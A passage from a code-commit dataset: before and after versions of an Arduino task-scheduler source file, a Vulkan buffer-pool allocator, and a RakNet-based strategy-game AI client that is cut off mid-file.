first;\n\n\twhile (current != NULL) {\n\n\t\t\/\/ we've found the item, unlink it from the queue and nullify its next.\n\t\tif (current == tm) {\n\t\t\tprevious->setNext(current->getNext());\n\t\t\tcurrent->setNext(NULL);\n\t\t\tbreak;\n\t\t}\n\n\t\tprevious = current;\n\t\tcurrent = current->getNext();\n\t}\n}\n\ntypedef void ArdunioIntFn(void);\n\nvoid interruptHandler1() {\n\ttaskManager.markInterrupted(1);\n}\nvoid interruptHandler2() {\n\ttaskManager.markInterrupted(2);\n}\nvoid interruptHandler3() {\n\ttaskManager.markInterrupted(3);\n}\nvoid interruptHandler5() {\n\ttaskManager.markInterrupted(5);\n}\nvoid interruptHandler18() {\n\ttaskManager.markInterrupted(18);\n}\nvoid interruptHandlerOther() {\n\ttaskManager.markInterrupted(0xff);\n}\n\nvoid TaskManager::addInterrupt(uint8_t pin, uint8_t mode) {\n\tif (interruptCallback == NULL) return;\n\tint interruptNo = digitalPinToInterrupt(pin);\n\n\tswitch (pin) {\n\tcase 1: attachInterrupt(interruptNo, interruptHandler1, mode); break;\n\tcase 2: attachInterrupt(interruptNo, interruptHandler2, mode); break;\n\tcase 3: attachInterrupt(interruptNo, interruptHandler3, mode); break;\n\tcase 5: attachInterrupt(interruptNo, interruptHandler5, mode); break;\n\tcase 18: attachInterrupt(interruptNo, interruptHandler18, mode); break;\n\tdefault: attachInterrupt(interruptNo, interruptHandlerOther, mode); break;\n\t}\n}\n\nvoid TaskManager::setInterruptCallback(InterruptFn handler) {\n\tinterruptCallback = handler;\n}\n\n<commit_msg>Ensure system yield is called during waitForMicros call<commit_after>\/*\n * Copyright (c) 2018 https:\/\/www.thecoderscorner.com (Nutricherry LTD).\n * This product is licensed under an Apache license, see the LICENSE file in the top-level directory.\n *\/\n\n#include <inttypes.h>\n#include <Arduino.h>\n#include \"TaskManager.h\"\n\nTaskManager taskManager;\n\nTimerTask::TimerTask() {\n\tnext = NULL;\n\tclear();\n}\n\nvoid TimerTask::initialise(uint16_t executionInfo, TimerFn execCallback) {\n\tthis->executionInfo = executionInfo;\n\tthis->callback = execCallback;\n\t\n\tthis->scheduledAt = (executionInfo & TASK_MICROS) ? micros() : millis();\n}\n\nbool TimerTask::isReady() {\n\tif (!isInUse() || isRunning()) return false;\n\n\tif ((executionInfo & TASK_MICROS) != 0) {\n\t\tuint16_t delay = (executionInfo & TIMER_MASK);\n\t\treturn (micros() - scheduledAt) >= delay;\n\t}\n\telse if((executionInfo & TASK_SECONDS) != 0) {\n\t\tuint32_t delay = (executionInfo & TIMER_MASK) * 1000L;\n\t\treturn (millis() - scheduledAt) >= delay;\n\t}\n\telse {\n\t\tuint16_t delay = (executionInfo & TIMER_MASK);\n\t\treturn (millis() - scheduledAt) >= delay;\n\t}\n}\n\nunsigned long TimerTask::microsFromNow() {\n\tuint32_t microsFromNow;\n\tif ((executionInfo & TASK_MICROS) != 0) {\n\t\tuint16_t delay = (executionInfo & TIMER_MASK);\n\t\tmicrosFromNow = delay - (micros() - scheduledAt);\n\t}\n\telse {\n\t\tuint32_t startTm = (executionInfo & TIMER_MASK);\n\t\tif ((executionInfo & TASK_SECONDS) != 0) {\n\t\t\tstartTm *= 1000;\n\t\t}\n\t\tmicrosFromNow = (startTm - (millis() - scheduledAt)) * 1000;\n\t}\n\treturn microsFromNow;\n}\n\n\ninline void TimerTask::execute() {\n\tif (callback == NULL) return; \/\/ failsafe, always exit with null callback.\n\n\t\/\/ handle repeating tasks - reschedule.\n\tif (isRepeating()) {\n\t\tmarkRunning();\n\t\tcallback();\n\t\tthis->scheduledAt = (executionInfo & TASK_MICROS) ? micros() : millis();\n\t\tclearRunning();\n\t}\n\telse {\n\t\tTimerFn savedCallback = callback;\n\t\tclear();\n\t\tsavedCallback();\n\t}\n}\n\nvoid TimerTask::clear() {\n\texecutionInfo = 0;\n\tcallback = NULL;\n}\n\nvoid TaskManager::markInterrupted(uint8_t interruptNo) {\n\ttaskManager.lastInterruptTrigger = interruptNo;\n\ttaskManager.interrupted = true;\n}\n\nTaskManager::TaskManager(uint8_t taskSlots) {\n\tthis->numberOfSlots = taskSlots;\n\tthis->tasks = new TimerTask[taskSlots];\n\tinterrupted = false;\n\tfirst = NULL;\n\tinterruptCallback = NULL;\n}\n\nint TaskManager::findFreeTask() {\n\tfor (uint8_t i = 0; i < numberOfSlots; ++i) {\n\t\tif (!tasks[i].isInUse()) {\n\t\t\treturn i;\n\t\t}\n\t}\n\treturn TASKMGR_INVALIDID;\n}\n\ninline int toTimerValue(int v, TimerUnit unit) {\n\tif (unit == TIME_MILLIS && v > TIMER_MASK) {\n\t\tunit = TIME_SECONDS;\n\t\tv = v \/ 1000;\n\t}\n\tv = min(v, TIMER_MASK);\n\treturn v | (((uint16_t)unit) << 12);\n}\n\nuint8_t TaskManager::scheduleOnce(int millis, TimerFn timerFunction, TimerUnit timeUnit) {\n\tuint8_t taskId = findFreeTask();\n\tif (taskId != TASKMGR_INVALIDID) {\n\t\ttasks[taskId].initialise(toTimerValue(millis, timeUnit) | TASK_IN_USE, timerFunction);\n\t\tputItemIntoQueue(&tasks[taskId]);\n\t}\n\treturn taskId;\n}\n\nuint8_t TaskManager::scheduleFixedRate(int millis, TimerFn timerFunction, TimerUnit timeUnit) {\n\tuint8_t taskId = findFreeTask();\n\tif (taskId != TASKMGR_INVALIDID) {\n\t\ttasks[taskId].initialise(toTimerValue(millis, timeUnit) | TASK_IN_USE | TASK_REPEATING, timerFunction);\n\t\tputItemIntoQueue(&tasks[taskId]);\n\t}\n\treturn taskId;\n}\n\nvoid TaskManager::cancelTask(uint8_t task) {\n\tif (task < numberOfSlots) {\n\t\ttasks[task].clear();\n\t\tremoveFromQueue(&tasks[task]);\n\t}\n}\n\nchar* TaskManager::checkAvailableSlots(char* data) {\n\tuint8_t i;\n\tfor (i = 0; i < numberOfSlots; ++i) {\n\t\tdata[i] = tasks[i].isRepeating() ? 'R' : (tasks[i].isInUse() ? 'U' : 'F');\n\t\tif (tasks[i].isRunning()) data[i] = tolower(data[i]);\n\t}\n\tdata[i] = 0;\n\treturn data;\n}\n\nvoid TaskManager::yieldForMicros(uint16_t microsToWait) {\n\tyield();\n\t\n\tunsigned long microsEnd = micros() + microsToWait;\n\twhile(micros() < microsEnd) {\n\t\trunLoop();\n\t}\n}\n\nvoid TaskManager::runLoop() {\n\tif (interrupted) {\n\t\tinterrupted = false;\n\t\tinterruptCallback(lastInterruptTrigger);\n\t}\n\n\tTimerTask* tm = first;\n\twhile(tm != NULL) {\n\t\tif (tm->isReady()) {\n\t\t\tremoveFromQueue(tm);\n\t\t\ttm->execute();\n\t\t\tif (tm->isRepeating()) {\n\t\t\t\tputItemIntoQueue(tm);\n\t\t\t}\n\t\t}\n\t\telse {\n\t\t\tbreak;\n\t\t}\n\n\t\ttm = tm->getNext();\n\t}\n\n\t\/\/ TODO, if not interrupted, and no task for a while sleep and set timer - go into low power.\n}\n\nvoid TaskManager::putItemIntoQueue(TimerTask* tm) {\n\n\t\/\/ shortcut, no first yet, so we are at the top!\n\tif (first == NULL) {\n\t\tfirst = tm;\n\t\ttm->setNext(NULL);\n\t\treturn;\n\t}\n\n\t\/\/ if we are the new first..\n\tif (first->microsFromNow() > tm->microsFromNow()) {\n\t\ttm->setNext(first);\n\t\tfirst = tm;\n\t\treturn;\n\t}\n\n\t\/\/ otherwise we have to find the place in the queue for this item by time\n\tTimerTask* current = first->getNext();\n\tTimerTask* previous = first;\n\n\twhile (current != NULL) {\n\t\tif (current->microsFromNow() > tm->microsFromNow()) {\n\t\t\tprevious->setNext(tm);\n\t\t\ttm->setNext(current);\n\t\t\treturn;\n\t\t}\n\t\tprevious = current;\n\t\tcurrent = current->getNext();\n\t}\n\n\t\/\/ we are at the end of the queue\n\tprevious->setNext(tm);\n\ttm->setNext(NULL);\n}\n\nvoid TaskManager::removeFromQueue(TimerTask* tm) {\n\t\n\t\/\/ shortcut, if we are first, just remove us by getting the next and setting first.\n\tif (first == tm) {\n\t\tfirst = tm->getNext();\n\t\treturn;\n\t}\n\n\t\/\/ otherwise, we have a single linked list, so we need to keep previous and current and\n\t\/\/ then iterate through each item\n\tTimerTask* current = first->getNext();\n\tTimerTask* previous = first;\n\n\twhile (current != NULL) {\n\n\t\t\/\/ we've found the item, unlink it from the queue and nullify its next.\n\t\tif (current == tm) {\n\t\t\tprevious->setNext(current->getNext());\n\t\t\tcurrent->setNext(NULL);\n\t\t\tbreak;\n\t\t}\n\n\t\tprevious = current;\n\t\tcurrent = current->getNext();\n\t}\n}\n\ntypedef void ArdunioIntFn(void);\n\nvoid interruptHandler1() {\n\ttaskManager.markInterrupted(1);\n}\nvoid interruptHandler2() {\n\ttaskManager.markInterrupted(2);\n}\nvoid interruptHandler3() {\n\ttaskManager.markInterrupted(3);\n}\nvoid interruptHandler5() {\n\ttaskManager.markInterrupted(5);\n}\nvoid interruptHandler18() {\n\ttaskManager.markInterrupted(18);\n}\nvoid interruptHandlerOther() {\n\ttaskManager.markInterrupted(0xff);\n}\n\nvoid TaskManager::addInterrupt(uint8_t pin, uint8_t mode) {\n\tif (interruptCallback == NULL) return;\n\tint interruptNo = digitalPinToInterrupt(pin);\n\n\tswitch (pin) {\n\tcase 1: attachInterrupt(interruptNo, interruptHandler1, mode); break;\n\tcase 2: attachInterrupt(interruptNo, interruptHandler2, mode); break;\n\tcase 3: attachInterrupt(interruptNo, interruptHandler3, mode); break;\n\tcase 5: attachInterrupt(interruptNo, interruptHandler5, mode); break;\n\tcase 18: attachInterrupt(interruptNo, interruptHandler18, mode); break;\n\tdefault: attachInterrupt(interruptNo, interruptHandlerOther, mode); break;\n\t}\n}\n\nvoid TaskManager::setInterruptCallback(InterruptFn handler) {\n\tinterruptCallback = handler;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright (c) 2017-2020 Hans-Kristian Arntzen\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include \"buffer_pool.hpp\"\n#include \"device.hpp\"\n#include <utility>\n\nusing namespace std;\n\nnamespace Vulkan\n{\nvoid BufferPool::init(Device *device_, VkDeviceSize block_size_,\n VkDeviceSize alignment_, VkBufferUsageFlags usage_,\n bool need_device_local_)\n{\n\tdevice = device_;\n\tblock_size = block_size_;\n\talignment = alignment_;\n\tusage = usage_;\n\tneed_device_local = need_device_local_;\n}\n\nvoid BufferPool::set_spill_region_size(VkDeviceSize spill_size_)\n{\n\tspill_size = spill_size_;\n}\n\nBufferBlock::~BufferBlock()\n{\n}\n\nvoid BufferPool::reset()\n{\n\tblocks.clear();\n}\n\nBufferBlock BufferPool::allocate_block(VkDeviceSize size)\n{\n\tBufferDomain ideal_domain = need_device_local ? BufferDomain::Device : BufferDomain::Host;\n\tVkBufferUsageFlags extra_usage = ideal_domain == BufferDomain::Device ? VK_BUFFER_USAGE_TRANSFER_DST_BIT : 0;\n\n\tBufferBlock block;\n\n\tBufferCreateInfo info;\n\tinfo.domain = ideal_domain;\n\tinfo.size = size;\n\tinfo.usage = usage | extra_usage;\n\n\tblock.gpu = device->create_buffer(info, nullptr);\n\tdevice->set_name(*block.gpu, \"chain-allocated-block-gpu\");\n\tblock.gpu->set_internal_sync_object();\n\n\t\/\/ Try to map it, will fail unless the memory is host visible.\n\tblock.mapped = static_cast<uint8_t *>(device->map_host_buffer(*block.gpu, MEMORY_ACCESS_WRITE_BIT));\n\tif (!block.mapped)\n\t{\n\t\t\/\/ Fall back to host memory, and remember to sync to gpu on submission time using DMA queue. :)\n\t\tBufferCreateInfo cpu_info;\n\t\tcpu_info.domain = BufferDomain::Host;\n\t\tcpu_info.size = size;\n\t\tcpu_info.usage = VK_BUFFER_USAGE_TRANSFER_SRC_BIT;\n\n\t\tblock.cpu = device->create_buffer(cpu_info, nullptr);\n\t\tblock.cpu->set_internal_sync_object();\n\t\tdevice->set_name(*block.cpu, \"chain-allocated-block-cpu\");\n\t\tblock.mapped = static_cast<uint8_t *>(device->map_host_buffer(*block.cpu, MEMORY_ACCESS_WRITE_BIT));\n\t}\n\telse\n\t\tblock.cpu = block.gpu;\n\n\tblock.offset = 0;\n\tblock.alignment = alignment;\n\tblock.size = size;\n\tblock.spill_size = spill_size;\n\treturn block;\n}\n\nBufferBlock BufferPool::request_block(VkDeviceSize minimum_size)\n{\n\tif ((minimum_size > block_size) || blocks.empty())\n\t{\n\t\treturn allocate_block(max(block_size, minimum_size));\n\t}\n\telse\n\t{\n\t\tauto back = move(blocks.back());\n\t\tblocks.pop_back();\n\n\t\tback.mapped = static_cast<uint8_t *>(device->map_host_buffer(*back.cpu, MEMORY_ACCESS_WRITE_BIT));\n\t\tback.offset = 0;\n\t\treturn back;\n\t}\n}\n\nvoid BufferPool::recycle_block(BufferBlock &&block)\n{\n\tVK_ASSERT(block.size == block_size);\n\tblocks.push_back(move(block));\n}\n\nBufferPool::~BufferPool()\n{\n\tVK_ASSERT(blocks.empty());\n}\n\n}\n<commit_msg>Prefer LinkedDeviceHost domain for streamed VBO\/IBO\/UBO.<commit_after>\/* Copyright (c) 2017-2020 Hans-Kristian Arntzen\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\n * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\n * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\n * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\n * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n\n#include \"buffer_pool.hpp\"\n#include \"device.hpp\"\n#include <utility>\n\nusing namespace std;\n\nnamespace Vulkan\n{\nvoid BufferPool::init(Device *device_, VkDeviceSize block_size_,\n VkDeviceSize alignment_, VkBufferUsageFlags usage_,\n bool need_device_local_)\n{\n\tdevice = device_;\n\tblock_size = block_size_;\n\talignment = alignment_;\n\tusage = usage_;\n\tneed_device_local = need_device_local_;\n}\n\nvoid BufferPool::set_spill_region_size(VkDeviceSize spill_size_)\n{\n\tspill_size = spill_size_;\n}\n\nBufferBlock::~BufferBlock()\n{\n}\n\nvoid BufferPool::reset()\n{\n\tblocks.clear();\n}\n\nBufferBlock BufferPool::allocate_block(VkDeviceSize size)\n{\n\tBufferDomain ideal_domain = need_device_local ?\n\t BufferDomain::Device :\n\t ((usage & VK_BUFFER_USAGE_TRANSFER_SRC_BIT) != 0) ? BufferDomain::Host : BufferDomain::LinkedDeviceHost;\n\n\tVkBufferUsageFlags extra_usage = ideal_domain == BufferDomain::Device ? VK_BUFFER_USAGE_TRANSFER_DST_BIT : 0;\n\n\tBufferBlock block;\n\n\tBufferCreateInfo info;\n\tinfo.domain = ideal_domain;\n\tinfo.size = size;\n\tinfo.usage = usage | extra_usage;\n\n\tblock.gpu = device->create_buffer(info, nullptr);\n\tdevice->set_name(*block.gpu, \"chain-allocated-block-gpu\");\n\tblock.gpu->set_internal_sync_object();\n\n\t\/\/ Try to map it, will fail unless the memory is host visible.\n\tblock.mapped = static_cast<uint8_t *>(device->map_host_buffer(*block.gpu, MEMORY_ACCESS_WRITE_BIT));\n\tif (!block.mapped)\n\t{\n\t\t\/\/ Fall back to host memory, and remember to sync to gpu on submission time using DMA queue. :)\n\t\tBufferCreateInfo cpu_info;\n\t\tcpu_info.domain = BufferDomain::Host;\n\t\tcpu_info.size = size;\n\t\tcpu_info.usage = VK_BUFFER_USAGE_TRANSFER_SRC_BIT;\n\n\t\tblock.cpu = device->create_buffer(cpu_info, nullptr);\n\t\tblock.cpu->set_internal_sync_object();\n\t\tdevice->set_name(*block.cpu, \"chain-allocated-block-cpu\");\n\t\tblock.mapped = static_cast<uint8_t *>(device->map_host_buffer(*block.cpu, MEMORY_ACCESS_WRITE_BIT));\n\t}\n\telse\n\t\tblock.cpu = block.gpu;\n\n\tblock.offset = 0;\n\tblock.alignment = alignment;\n\tblock.size = size;\n\tblock.spill_size = spill_size;\n\treturn block;\n}\n\nBufferBlock BufferPool::request_block(VkDeviceSize minimum_size)\n{\n\tif ((minimum_size > block_size) || blocks.empty())\n\t{\n\t\treturn allocate_block(max(block_size, minimum_size));\n\t}\n\telse\n\t{\n\t\tauto back = move(blocks.back());\n\t\tblocks.pop_back();\n\n\t\tback.mapped = static_cast<uint8_t *>(device->map_host_buffer(*back.cpu, MEMORY_ACCESS_WRITE_BIT));\n\t\tback.offset = 0;\n\t\treturn back;\n\t}\n}\n\nvoid BufferPool::recycle_block(BufferBlock &&block)\n{\n\tVK_ASSERT(block.size == block_size);\n\tblocks.push_back(move(block));\n}\n\nBufferPool::~BufferPool()\n{\n\tVK_ASSERT(blocks.empty());\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <fstream>\n#include <string>\n#include <RakPeer.h>\n#include <set>\n#include <thread>\n#include <map>\n#include <vector>\n#include <random>\n#include <algorithm>\n#undef REGISTERED\n#include \"..\/Core\/common.cpp\"\nusing namespace gameplay;\n#include \"..\/Core\/Message.h\"\nusing namespace std::literals;\n#undef max\n#undef min\n\nclass AI final {\nprivate:\n enum class Type {\n attack, defense, discover\n };\n std::map<std::string, Type> mUnits;\n using SendFunc = std::function<void(const RakNet::BitStream&, PacketPriority, PacketReliability)>;\n SendFunc mSend;\n std::vector<Vector2> mKeyPoint;\n std::map<uint32_t, UnitSyncInfo> mMine;\n std::map<uint32_t, UnitSyncInfo> mArmies;\n uint32_t mGroup;\n float mValue;\n Type mStep = Type::defense;\n struct TeamInfo final {\n std::set<uint32_t> current;\n uint32_t size;\n Vector2 object;\n };\n std::vector<TeamInfo> mTeams;\n std::vector<uint32_t> mFree;\n Vector2 mRoot;\npublic:\n AI() :mValue(0.0f) {\n std::vector<std::string> units;\n listDirs(\"res\/units\", units);\n for (auto&& x : units) {\n uniqueRAII<Properties> info = Properties::create((\"res\/units\/\" + x + \"\/unit.info\").c_str());\n auto tname = info->getString(\"AIType\", \"discover\");\n if (tname == \"attack\")mUnits[x] = Type::attack;\n else if (tname == \"defense\")mUnits[x] = Type::defense;\n else mUnits[x] = Type::discover;\n }\n }\n\n void connect(const SendFunc& send, const std::string& map, uint8_t group) {\n mSend = send;\n uniqueRAII<Properties> info = Properties::create((\"res\/maps\/\" + map + \"\/map.info\").c_str());\n const char* id;\n Vector2 tmp;\n while ((id = info->getNextProperty()) && info->getVector2(id, &tmp))\n mKeyPoint.emplace_back(tmp \/ 512.0f* 10000.0f - Vector2{ 5000.0f, 5000.0f });\n mGroup = group;\n }\n\n void setRoot(const Vector2 root) {\n mRoot = root;\n }\n\n void updateUnit(const UnitSyncInfo& info) {\n if (info.group == mGroup)\n mMine[info.id] = info;\n else\n mArmies[info.id] = info;\n }\n\n void newUnit(const UnitSyncInfo& info) {\n updateUnit(info);\n mValue += (info.group == mGroup) ? 0.5f : -1.0f;\n if(info.group==mGroup)\n mFree.emplace_back(info.id);\n }\n\n void deleteUnit(uint32_t id) {\n if (mMine.find(id) != mMine.cend())\n mMine.erase(id), --mValue;\n else \n mArmies.erase(id), mValue += 0.5f;\n }\n\n void send(const TeamInfo& info) {\n RakNet::BitStream data;\n data.Write(ClientMessage::setMoveTarget);\n data.Write(info.object);\n for (auto&& x : info.current)\n data.Write(x);\n mSend(data, PacketPriority::HIGH_PRIORITY, PacketReliability::RELIABLE_ORDERED);\n }\n\n void send(uint16_t id, uint16_t weight) {\n RakNet::BitStream data;\n data.Write(ClientMessage::changeWeight);\n data.Write(id);\n data.Write(weight);\n mSend(data, PacketPriority::MEDIUM_PRIORITY, PacketReliability::RELIABLE);\n }\n\n void clearTeams(){\n for (auto&& x : mTeams)\n for (auto&& u : x.current) \n if (mMine.find(u) != mMine.cend())\n mFree.emplace_back(u);\n mTeams.clear();\n }\n\n void update() {\n\n auto old = mStep;\n \/\/discover\n if (mValue > -20.0f || mArmies.empty())mStep = Type::discover;\n \/\/attack\n if (mValue > 100.0f || (mArmies.size() && \n mArmies.size() * 5 < mMine.size())) mStep = Type::attack;\n \/\/defense\n if (mValue<-10.0f || mArmies.size()>0.2*mMine.size())mStep = Type::defense;\n\n if (old != mStep) {\n std::cout << \"Switch state : \";\n switch (mStep) {\n case Type::attack:std::cout << \"attack\";\n break;\n case Type::defense:std::cout << \"defense\";\n break;\n case Type::discover:std::cout << \"discover\";\n break;\n default:\n break;\n }\n std::cout << std::endl;\n uint16_t id=0;\n for (auto&& x : mUnits) {\n if (x.second == mStep)\n send(id, 1000);\n ++id;\n }\n clearTeams();\n\n switch (mStep) {\n case Type::attack:\n {\n }\n break;\n case Type::defense:\n {\n TeamInfo team;\n team.object = mRoot;\n team.size = std::numeric_limits<uint32_t>::max();\n send(team);\n mTeams.emplace_back(team);\n uint16_t id = 0;\n for (auto&& x : mUnits) {\n if (x.second != Type::defense)\n send(id, 1);\n ++id;\n }\n }\n break;\n case Type::discover:\n {\n for (auto&& x : mKeyPoint) {\n TeamInfo team;\n team.size = 7;\n team.object = x;\n mTeams.emplace_back(team);\n }\n }\n break;\n default:\n break;\n }\n }\n\n if (mStep == Type::attack) {\n clearTeams();\n\n std::map<Vector2, uint32_t> find;\n for (auto&& x : mArmies) {\n auto&& info = x.second;\n if (info.group != mGroup) {\n Vector2 p{ info.pos.x,info.pos.z };\n bool flag = true;\n for (auto&& x : find) {\n if (x.first.distanceSquared(p) < 90000.0f) {\n ++x.second, flag = false;\n break;\n }\n }\n if (flag)find[p] = 1;\n }\n }\n\n for (auto&& x : find) {\n TeamInfo team;\n team.size = x.second*1.5;\n team.object = x.first;\n }\n }\n\n std::remove_if(mFree.begin(), mFree.end(),\n [this](uint32_t id) {return mMine.find(id) == mMine.cend(); });\n\n if (mStep == Type::discover && mFree.size() > 5) {\n TeamInfo team;\n team.size = 3;\n team.object = { mt() % 10000 - 5000.0f,mt() % 10000 - 5000.0f };\n }\n\n for (auto&& x : mTeams) {\n if (mFree.empty())continue;\n std::set<uint32_t> deferred;\n for (auto&& id : x.current)\n if (mMine.find(id) == mMine.cend())\n deferred.insert(id);\n for (auto&& y : deferred)\n x.current.erase(y);\n uint32_t size = std::min(mFree.size(), x.size - x.current.size());\n std::partial_sort(mFree.begin(), mFree.begin() + size, mFree.end(), \n [this,&x](uint32_t a,uint32_t b) {\n return x.object.distanceSquared({ mMine[a].pos.x,mMine[a].pos.z }) >\n x.object.distanceSquared({ mMine[b].pos.x,mMine[b].pos.z });\n });\n for (auto i = 0; i < size; ++i)\n x.current.insert(*(mFree.rbegin() + i));\n mFree.resize(mFree.size() - size);\n send(x);\n }\n\n std::map<uint32_t, uint32_t> attackMap;\n for (auto&& x : mMine) {\n float md = std::numeric_limits<float>::max();\n uint32_t maxwell=0;\n for (auto&& y : mArmies) {\n auto dis = y.second.pos.distanceSquared(x.second.pos);\n if (dis < md)md = dis, maxwell = y.first;\n }\n if (maxwell) attackMap[x.first] = maxwell;\n }\n if (attackMap.size()) {\n RakNet::BitStream data;\n data.Write(ClientMessage::setAttackTarget);\n for (auto&& x : attackMap){\n data.Write(x.first);\n data.Write(x.second);\n }\n mSend(data, PacketPriority::HIGH_PRIORITY, PacketReliability::RELIABLE);\n }\n\n }\n} tinyAI;\n\n#define FORNET for (auto packet = peer.Receive(); packet; peer.DeallocatePacket(packet), packet = peer.Receive())\n\nint main() {\n RakNet::RakPeer peer;\n RakNet::SocketDescriptor SD;\n peer.Startup(1, &SD, 1);\n std::cout << \"Input group:\" << std::endl;\n uint16_t group;\n std::cin >> group;\n std::cout << \"Scanning servers...\" << std::endl;\n std::string str;\n std::set<RakNet::SystemAddress> ban;\n RakNet::SystemAddress server;\n while (true) {\n peer.Ping(\"255.255.255.255\", 23333, false);\n FORNET{\n if (packet->data[0] == ID_UNCONNECTED_PONG &&\n ban.find(packet->systemAddress) == ban.cend()) {\n std::cout << \"Find server \" << packet->systemAddress.ToString() << std::endl;\n std::cout << \"Shall we connect it?(y\/n)\" << std::endl;\n char c;\n std::cin >> c;\n if (c == 'y') {\n server = packet->systemAddress;\n auto res = peer.Connect(server.ToString(false), 23333, nullptr,0);\n if (res == RakNet::CONNECTION_ATTEMPT_STARTED) {\n while (peer.NumberOfConnections() != 1)\n std::this_thread::sleep_for(1ms);\n std::cout << \"OK!\" << std::endl;\n peer.DeallocatePacket(packet);\n goto p1;\n }\n }\n else ban.insert(packet->systemAddress);\n }\n }\n std::this_thread::sleep_for(1ms);\n }\np1:\n {\n RakNet::BitStream data;\n data.Write(ClientMessage::changeGroup);\n data.Write(static_cast<uint8_t>(group));\n peer.Send(&data, PacketPriority::IMMEDIATE_PRIORITY,\n PacketReliability::RELIABLE_ORDERED, 0, server, false);\n }\n\n while (true) {\n FORNET{\n CheckBegin;\n CheckHeader(ServerMessage::info) {\n RakNet::BitStream data(packet->data, packet->length,false);\n data.IgnoreBytes(1 + sizeof(uint64_t));\n RakNet::RakString str;\n data.Read(str);\n tinyAI.connect([&](const RakNet::BitStream& data, PacketPriority pp, PacketReliability pr) {\n peer.Send(&data, pp, pr, 0, server, false);\n },str.C_String(),group);\n }\n CheckHeader(ServerMessage::go) {\n RakNet::BitStream data(packet->data, packet->length,false);\n data.IgnoreBytes(1);\n Vector2 p;\n data.Read(p);\n tinyAI.setRoot(p);\n std::cout << \"Go!\" << std::endl;\n goto p2;\n }\n }\n std::this_thread::sleep_for(1ms);\n }\np2:\n struct UnitInfo final {\n uint32_t id;\n Vector3 pos;\n bool operator<(const UnitInfo& rhs) const {\n return id < rhs.id;\n }\n };\n\n bool isStop = false;\n std::set<uint32_t> old;\n\n auto begin = std::chrono::system_clock::now();\n while (true) {\n std::vector<unsigned char> latestData;\n FORNET{\n if (isStop)continue;\n RakNet::BitStream data(packet->data, packet->length, false);\n data.IgnoreBytes(1);\n CheckBegin;\n CheckHeader(ServerMessage::out) {\n std::cout << \"What a pity!\" << std::endl;\n isStop = true;\n continue;\n }\n CheckHeader(ServerMessage::stop) {\n std::cout << \"The game stopped.\" << std::endl;\n isStop = true;\n continue;\n }\n CheckHeader(ServerMessage::win) {\n std::cout << \"We are winner!\" << std::endl;\n isStop = true;\n continue;\n }\n CheckHeader(ServerMessage::updateUnit) {\n latestData = std::vector<unsigned char>(packet->data, packet->data + packet->length);\n }\n }\n if (isStop ||\n peer.GetConnectionState(server) != RakNet::ConnectionState::IS_CONNECTED)break;\n if (latestData.empty())continue;\n\n uint32_t mine = 0, armies = 0;\n std::set<uint32_t> copy = old;\n\n RakNet::BitStream latest(latestData.data(), latestData.size(), false);\n latest.IgnoreBytes(1);\n uint32_t size;\n latest.Read(size);\n for (uint32_t i = 0; i < size; ++i) {\n UnitSyncInfo u;\n latest.Read(u);\n auto iter = copy.find(u.id);\n if (iter == copy.cend()) {\n old.insert(u.id);\n tinyAI.newUnit(u);\n }\n else {\n copy.erase(iter);\n tinyAI.updateUnit(u);\n }\n if (u.group == group)\n ++mine;\n else\n ++armies;\n }\n\n for (auto&& x : copy)\n tinyAI.deleteUnit(x);\n\n tinyAI.update();\n\n std::cout << \"mine:\" << mine << \" armies:\" << armies << std::endl;\n std::this_thread::sleep_for(1s);\n }\n\n auto second = std::chrono::duration_cast<std::chrono::seconds>(std::chrono::system_clock::now() - begin).count();\n std::cout << \"time:\" << second \/ 60 << \":\" << second % 60 << std::endl;\n\n peer.Shutdown(500, 0, IMMEDIATE_PRIORITY);\n std::cin.get();\n std::cin.get();\n return 0;\n}\n\n#undef FORNET\n<commit_msg>fix bugs<commit_after>#include <iostream>\n#include <fstream>\n#include <string>\n#include <RakPeer.h>\n#include <set>\n#include <thread>\n#include <map>\n#include <vector>\n#include <random>\n#include <algorithm>\n#undef REGISTERED\n#include \"..\/Core\/common.cpp\"\nusing namespace gameplay;\n#include \"..\/Core\/Message.h\"\nusing namespace std::literals;\n#undef max\n#undef min\n\nclass AI final {\nprivate:\n enum class Type {\n attack, defense, discover\n };\n std::map<std::string, Type> mUnits;\n using SendFunc = std::function<void(const RakNet::BitStream&, PacketPriority, PacketReliability)>;\n SendFunc mSend;\n std::vector<Vector2> mKeyPoint;\n std::map<uint32_t, UnitSyncInfo> mMine;\n std::map<uint32_t, 